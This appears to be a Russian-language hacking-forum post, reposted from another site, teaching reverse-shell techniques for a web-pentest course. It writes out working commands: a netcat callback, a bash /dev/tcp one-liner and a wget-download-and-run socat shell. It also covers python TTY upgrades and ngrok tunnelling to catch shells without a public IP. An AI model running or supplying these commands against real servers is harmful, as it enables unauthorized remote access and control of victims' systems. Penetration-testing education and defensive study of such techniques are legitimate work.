• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Способы получения обратного соединения (Reverse shell)

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Доброго времени суток, уважаемые форумчане!

Очередная статья будет посвящена еще одному проблемному вопросу, с которым часто приходится сталкиваться студентам курса WAPT при решении задач – это получение обратного шелла. Нет, в принципе вопрос не сложный и многие наверняка сталкивались с таким замечательным инструментом, как Netcat и может быть даже получали с его помощью прямой и обратный шелл, а кроме того, это неплохо показано в видеоматериале к курсу. Но может так случится, что на удаленном сервере не будет Netcat’а и соответственно соединение не будет установлено.

Для начала немного теории. Что же такое шелл и зачем он нужен. Shell – так называют доступ к оболочке удалённой системы. Относительно информационной безопасности, так называют доступ к оболочке, который обеспечивается бэкдором. Шеллы бывают двух видов: Bind Shell (прямой) и Reverse Shell (обратный). Они различаются особенностями подключения. Первый (прямой) – просто Shell – когда бэкдор прослушивает порт на удалённом компьютере в ожидании, когда на этот порт придёт подключение. Второй (обратный) – означает, что с удалённого компьютера делается запрос на машину атакующего, на которой, в свою очередь, уже запущена программа для управления бэкдором – которая также ожидает подключения от компьютера «жертвы».

Оба они имеют разные случаи использования. Прямой шелл используется, если у компьютера жертвы белый IP адрес (без использования NAT). Обратный шелл используется, если удалённый компьютер находится за NAT (имеет только локальный IP адрес), либо файрвол на удаленной машине блокирует входящие соединения – большинство файрволов настроены пропускать исходящие соединения. Тот вариант, когда исходящие соединения также блокируются мы рассматривать не будем.

Я не ставлю своей целью показать все возможные варианты получения шелла на удаленной машине, это достаточно объемный вопрос, и явно не уложится в формат данной статьи. Мы рассмотрим несколько вариантов создания обратного соединения с использованием некоторых инструментов, которые, в большинстве случаев, присутствуют на удаленном сервере.

Netcat

Мы все-таки затронем этот замечательный инструмент, потому что на его примере удобно показывать процедуру получения доступа к командной оболочке удаленной системы, несмотря на то, что вероятность присутствия его на сервере крайне низка. А почему? Да потому что Netcat позволяет создавать TCP и UDP соединения с любого на любой порт, умеет "слушать" входящие соединения, может сканировать порты, разрешать DNS-запросы, посылать любые команды со стандартного ввода, выполнять заранее предопределенные действия, в ответ на соединение, которое слушает утилита, делать Hex-дамп отправленных и полученных данных и много-много чего еще... Как видим, не зря эта программа получила статус «швейцарского армейского ножа» и вряд ли нормальному админу захочется иметь такого «троянского коня» на контролируемом серваке.

Итак, чтобы получить Reverse shell с удаленной машины необходимо на уязвимом сайте запустить команду nc 123.456.789.321 (IP нашей машины) 4444 (порт), а в своем терминале nc -lnvp 4444. Если вам интересно знать, что значат все эти ключи lnvp, то почитайте мануал к инструменту.

Как мы уже отметили вероятность присутствия этой программы на удаленном сервере достаточно низкая. А что же там может быть с высокой долей вероятности. Наверное, стандартные оболочки. Одна из них Bash.

Bash

К примеру, имеем Обычный php-shell, который не очень удобен для перемещения по файловой системе удаленного сервера. Пробуем поднять реверс-шелл через Netcat:

1660772730075.png


Разумеется, nc на сервере отсутствует

1660772788943.png


Не стоит раньше времени биться головой об стену, попробуем то, что там может быть. Заходим на очень хороший сайт: GTFOBins и выбираем то, что нам нужно

1660772856784.png


вводим в нашу командную строку: bash -c 'exec bash -i &>/dev/tcp/IP/4444 <&1'

1660773033909.png


получаем обратное соединение

1660773084371.png


Если есть желание, то можно превратить наш полученный шелл в интерактивный (TTY) шелл.

Не буду сейчас объяснять, что это такое и $@х он нужен, захотите - сами нагуглите. Могу сказать одно, без TTY вы не сможете сменить пользователя.


1660773231102.png


1660773270493.png


Как видим, система не рассматривает этот шел как терминал.

Самый простой способ привести наш шелл в состояние TTY - это запустить команду python -c 'import pty; pty.spawn("/bin/bash")', но вот же зараза, питона на сервере тоже может не быть


1660773355757.png


Можно конечно нанять людей и заказать, чтобы умного админа порезали на ремни, а можно поступить проще – обратиться еще к одному достойному инструменту - SOCAT.
SOCAT

Идем на наш любимый сайт: GTFOBins и ищем формат команды для SOCAT:

1660773440205.png


SOCAT на сервере скорее всего тоже отсутствует, но его можно загрузить на удаленный сервер через Github. Как правило, на любой Linux-машине есть папка со всеми правами для всех пользователей, это каталог /tmp. Поэтому просто запускаем следующую команду в очередном нашем терминале: socat -,raw,echo=0 tcp-listen:5555

1660773514550.png


а на сервере: wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:IP:5555
(если одной командой не проходит можно разделить ее на составляющие).


1660773588252.png


и получаем:

1660773664489.png


Как видите, у нас теперь tty реверс-шелл. На вышеуказанном сайте можно найти и другие варианты получения прямого и обратного шелла, а также много других интересных плюшек таких как, например, повышение привилегий в Linux-системах и др.

И еще один момент, на который я бы хотел обратить внимание – это получение реверс-шелла, если у вас отсутствует «белый» IP-адрес. Куда направлять соединение? На помощь приходит сервис ngrok – www.ngrok.com.

NGROK

Для начала надо зарегистрироваться или использовать аккаунты Google или Facebook. Затем скачиваем программу под нашу систему:

1660773794525.png


Закидываем программу в удобное место и изучаем help ngrok –h:

1660773910910.png


1. Запускаем ngrok (ngrok tcp 4444). Наш реверс-шелл будет принимать входящее соединение из Интернета и направлять его на порт 4444.

1660773965228.png


2. Запускаем netcat (nc -lnvp 4444). NC будет слушать порт 4444 и когда на него будет перенаправлено соединение и порт откроется, то запустится shell-оболочка.
1660773999130.png


3. Запускаем один из реверс-шеллов. Для примера используем тот же Netcat: nc 2.tcp.ngrok.io 16977 -e /bin/bash или Bash: bash -c 'exec bash -i &>/dev/tcp/2.tcp.ngrok.io /16977 <&1'.

4. В терминале на атакующей машине откроется соединение


1660774057540.png


5. Используем Python для получения интерактивного tty шелла python3 -c 'import pty; pty.spawn("/bin/bash")'

1660774134573.png


Вуа-ля!

На этом остановимся. Спасибо за внимание!

Автор @Paladin
взял с codeby
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх